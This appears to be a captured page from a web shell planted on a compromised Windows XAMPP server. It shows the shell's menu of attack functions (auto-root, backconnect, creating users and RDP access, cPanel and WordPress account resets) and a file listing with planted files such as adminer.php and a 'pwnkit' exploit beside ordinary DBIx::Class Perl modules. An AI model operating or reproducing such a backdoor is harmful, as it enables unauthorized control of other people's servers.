Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
DBIx /
Class /
Relationship /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
Accessor.pm
3.66
KB
-rw-rw-rw-
Base.pm
29.87
KB
-rw-rw-rw-
BelongsTo.pm
2.54
KB
-rw-rw-rw-
CascadeActions.pm
2.02
KB
-rw-rw-rw-
HasMany.pm
1.44
KB
-rw-rw-rw-
HasOne.pm
3.23
KB
-rw-rw-rw-
Helpers.pm
270
B
-rw-rw-rw-
ManyToMany.pm
4.77
KB
-rw-rw-rw-
ProxyMethods.pm
1.36
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProxyMethods.pm
package # hide from PAUSE DBIx::Class::Relationship::ProxyMethods; use strict; use warnings; use base 'DBIx::Class'; use DBIx::Class::_Util 'quote_sub'; use namespace::clean; our %_pod_inherit_config = ( class_map => { 'DBIx::Class::Relationship::ProxyMethods' => 'DBIx::Class::Relationship' } ); sub register_relationship { my ($class, $rel, $info) = @_; if (my $proxy_args = $info->{attrs}{proxy}) { $class->proxy_to_related($rel, $proxy_args); } $class->next::method($rel, $info); } sub proxy_to_related { my ($class, $rel, $proxy_args) = @_; my %proxy_map = $class->_build_proxy_map_from($proxy_args); quote_sub "${class}::$_", sprintf( <<'EOC', $rel, $proxy_map{$_} ) my $self = shift; my $relobj = $self->%1$s; if (@_ && !defined $relobj) { $relobj = $self->create_related( %1$s => { %2$s => $_[0] } ); @_ = (); } $relobj ? $relobj->%2$s(@_) : undef; EOC for keys %proxy_map } sub _build_proxy_map_from { my ( $class, $proxy_arg ) = @_; my $ref = ref $proxy_arg; if ($ref eq 'HASH') { return %$proxy_arg; } elsif ($ref eq 'ARRAY') { return map { (ref $_ eq 'HASH') ? (%$_) : ($_ => $_) } @$proxy_arg; } elsif ($ref) { $class->throw_exception("Unable to process the 'proxy' argument $proxy_arg"); } else { return ( $proxy_arg => $proxy_arg ); } } 1;
Close